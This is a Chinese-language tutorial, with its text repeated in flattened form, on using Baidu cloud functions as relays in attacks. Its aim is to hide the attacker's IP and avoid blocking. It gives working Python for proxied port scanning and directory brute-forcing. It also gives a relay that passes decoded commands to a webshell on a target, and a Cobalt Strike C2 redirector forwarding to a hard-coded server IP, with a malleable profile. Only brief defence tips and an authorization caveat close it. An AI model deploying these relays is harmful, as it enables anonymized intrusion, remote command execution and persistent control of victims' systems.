使用云函数辅助渗透测试
字数 1289 2025-08-29 08:29:59

云函数辅助渗透测试技术详解

0x00 云函数基础概念

1. 云函数定义

云函数(Cloud Function)是一种基于事件触发的全托管云端计算服务,用户只需上传业务代码,无需管理服务器资源。百度云函数计算(CFC)是Serverless架构的一种实现方式。

2. 核心特点

  • 事件驱动:由特定事件触发执行
  • 无服务器架构:无需管理基础设施
  • 自动扩缩容:根据负载自动分配计算资源
  • 按需计费:按实际执行时间和资源消耗计费

3. 百度云函数相关资源

  • 控制台地址:https://console.bce.baidu.com/cfc/overview
  • 官方文档:https://cloud.baidu.com/doc/CFC/index.html

0x01 云函数创建与配置

1. 创建云函数步骤

  1. 进入CFC控制台,在"函数列表"中选择"创建函数"
  2. 模板选择"空白函数"
  3. 函数配置:
    • 运行时选择"Python 3.6"
  4. 触发器配置:
    • 选择"HTTP触发器"
    • URL路径填写/{filepath+}格式

2. 函数处理程序结构

云函数中的handler()是默认的请求处理入口函数,类似于C语言的main()函数。

# -*- coding: utf-8 -*-
def handler(event, context):
    return "Hello World"

3. HTTP触发器事件对象结构

HTTP触发器会将客户端请求映射为event对象,包含以下字段:

{
  "resource": "请求的资源路径",
  "path": "HTTP触发器的路径",
  "httpMethod": "请求的HTTP方法",
  "headers": {请求头},
  "queryStringParameters": {query string参数},
  "pathParameters": {代理路径参数},
  "requestContext": {请求上下文},
  "body": "请求体",
  "isBase64Encoded": "请求体是否为Base64编码"
}

0x02 渗透测试中的应用场景

1. 端口扫描

实现原理:利用云函数作为代理进行端口扫描,隐藏真实IP

云函数代码示例

def handler(event, context):
    import socket
    import json
    
    params = event['queryStringParameters']
    target = params.get('target')
    port = int(params.get('port'))
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)
    
    try:
        s.connect((target, port))
        return {'statusCode': 200, 'body': 'open'}
    except:
        return {'statusCode': 200, 'body': 'closed'}
    finally:
        s.close()

触发器配置

  • 方法:GET
  • URL路径:/scan
  • 查询参数:targetport

客户端脚本核心代码

def port_scan(target, ports, cfc_url):
    for port in ports:
        params = {'target': target, 'port': str(port)}
        response = requests.get(cfc_url, params=params)
        if response.text == 'open':
            print(f"Port {port} is open")

2. 目录扫描

实现原理:利用云函数作为代理进行目录爆破,降低被封锁风险

云函数代码示例

def handler(event, context):
    import requests
    
    params = event['queryStringParameters']
    url = params.get('url')
    path = params.get('path')
    
    try:
        full_url = f"{url}/{path}"
        response = requests.get(full_url, timeout=5)
        return {
            'statusCode': 200,
            'body': json.dumps({
                'url': full_url,
                'status': response.status_code,
                'length': len(response.text)
            })
        }
    except Exception as e:
        return {'statusCode': 500, 'body': str(e)}

客户端脚本核心代码

def dir_scan(target, wordlist, cfc_url):
    with open(wordlist) as f:
        paths = f.read().splitlines()
    
    for path in paths:
        params = {'url': target, 'path': path}
        response = requests.get(cfc_url, params=params)
        result = response.json()
        if result['status'] == 200:
            print(f"Found: {result['url']} (Status: {result['status']}, Length: {result['length']})")

3. WebShell连接

实现原理:通过云函数中转WebShell流量,隐藏真实攻击源

云函数代码示例

def handler(event, context):
    import requests
    import base64
    
    params = event['queryStringParameters']
    target = params.get('target')
    cmd = base64.b64decode(params.get('cmd')).decode()
    
    headers = {'User-Agent': 'Mozilla/5.0'}
    data = {'cmd': cmd}
    
    try:
        response = requests.post(target, headers=headers, data=data, timeout=10)
        return {
            'statusCode': 200,
            'body': response.text
        }
    except Exception as e:
        return {'statusCode': 500, 'body': str(e)}

使用方法

  1. 在目标服务器上传WebShell
  2. 通过云函数中转执行命令
  3. 使用冰蝎等工具连接时配置云函数地址为代理

4. Cobalt Strike上线

实现原理:利用云函数作为C2代理,隐藏真实C2服务器

配置步骤

  1. 搭建CS服务器,配置监听器

    • 类型:HTTPS
    • 上线端口:8000
    • 监听端口:50050
  2. 云函数代码配置:

def handler(event, context):
    import requests
    import base64
    
    # 解码CS服务器发来的数据
    data = base64.b64decode(event['body']).decode()
    
    # 转发到真实C2服务器
    c2_url = "https://8.155.43.167:8000"
    response = requests.post(c2_url, data=data)
    
    return {
        'statusCode': 200,
        'body': base64.b64encode(response.content).decode()
    }
  1. 创建profile文件(cfc.profile):
https-certificate {
    set keystore "store.jks";
    set password "password";
}

http-get {
    set uri "/api/v1/query";
    
    client {
        header "Host" "your-cfc-url";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    
    server {
        header "Content-Type" "application/octet-stream";
        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/api/v1/update";
    
    client {
        header "Host" "your-cfc-url";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        
        output {
            base64;
            print;
        }
    }
    
    server {
        header "Content-Type" "application/octet-stream";
        output {
            base64;
            print;
        }
    }
}

0x03 防御与检测

1. 云服务提供商防御措施

  • 异常流量检测
  • 函数调用频率限制
  • 敏感操作审计日志

2. 企业防御建议

  • 监控云函数API调用
  • 限制云函数出站连接
  • 实施最小权限原则

3. 检测方法

  • 异常HTTP触发器调用模式
  • 云函数代码中包含敏感关键词(如socket、requests等)
  • 云函数与已知恶意IP通信

0x04 总结

云函数在渗透测试中的应用主要体现在以下几个方面:

  1. 隐匿性:隐藏真实攻击源IP
  2. 分布式:利用云服务商的全球基础设施
  3. 弹性:自动扩缩容应对大规模扫描
  4. 低成本:按需付费,经济高效

需要注意的是,此类技术可能违反云服务商的使用条款,在实际应用中应确保获得合法授权。

云函数辅助渗透测试技术详解 0x00 云函数基础概念 1. 云函数定义 云函数(Cloud Function)是一种基于事件触发的全托管云端计算服务,用户只需上传业务代码,无需管理服务器资源。百度云函数计算(CFC)是Serverless架构的一种实现方式。 2. 核心特点 事件驱动 :由特定事件触发执行 无服务器架构 :无需管理基础设施 自动扩缩容 :根据负载自动分配计算资源 按需计费 :按实际执行时间和资源消耗计费 3. 百度云函数相关资源 控制台地址:https://console.bce.baidu.com/cfc/overview 官方文档:https://cloud.baidu.com/doc/CFC/index.html 0x01 云函数创建与配置 1. 创建云函数步骤 进入CFC控制台,在"函数列表"中选择"创建函数" 模板选择"空白函数" 函数配置: 运行时选择"Python 3.6" 触发器配置: 选择"HTTP触发器" URL路径填写 /{filepath+} 格式 2. 函数处理程序结构 云函数中的 handler() 是默认的请求处理入口函数,类似于C语言的 main() 函数。 3. HTTP触发器事件对象结构 HTTP触发器会将客户端请求映射为event对象,包含以下字段: 0x02 渗透测试中的应用场景 1. 端口扫描 实现原理 :利用云函数作为代理进行端口扫描,隐藏真实IP 云函数代码示例 : 触发器配置 : 方法:GET URL路径: /scan 查询参数: target 和 port 客户端脚本核心代码 : 2. 目录扫描 实现原理 :利用云函数作为代理进行目录爆破,降低被封锁风险 云函数代码示例 : 客户端脚本核心代码 : 3. WebShell连接 实现原理 :通过云函数中转WebShell流量,隐藏真实攻击源 云函数代码示例 : 使用方法 : 在目标服务器上传WebShell 通过云函数中转执行命令 使用冰蝎等工具连接时配置云函数地址为代理 4. Cobalt Strike上线 实现原理 :利用云函数作为C2代理,隐藏真实C2服务器 配置步骤 : 搭建CS服务器,配置监听器 类型:HTTPS 上线端口:8000 监听端口:50050 云函数代码配置: 创建profile文件(cfc.profile): 0x03 防御与检测 1. 云服务提供商防御措施 异常流量检测 函数调用频率限制 敏感操作审计日志 2. 企业防御建议 监控云函数API调用 限制云函数出站连接 实施最小权限原则 3. 检测方法 异常HTTP触发器调用模式 云函数代码中包含敏感关键词(如socket、requests等) 云函数与已知恶意IP通信 0x04 总结 云函数在渗透测试中的应用主要体现在以下几个方面: 隐匿性 :隐藏真实攻击源IP 分布式 :利用云服务商的全球基础设施 弹性 :自动扩缩容应对大规模扫描 低成本 :按需付费,经济高效 需要注意的是,此类技术可能违反云服务商的使用条款,在实际应用中应确保获得合法授权。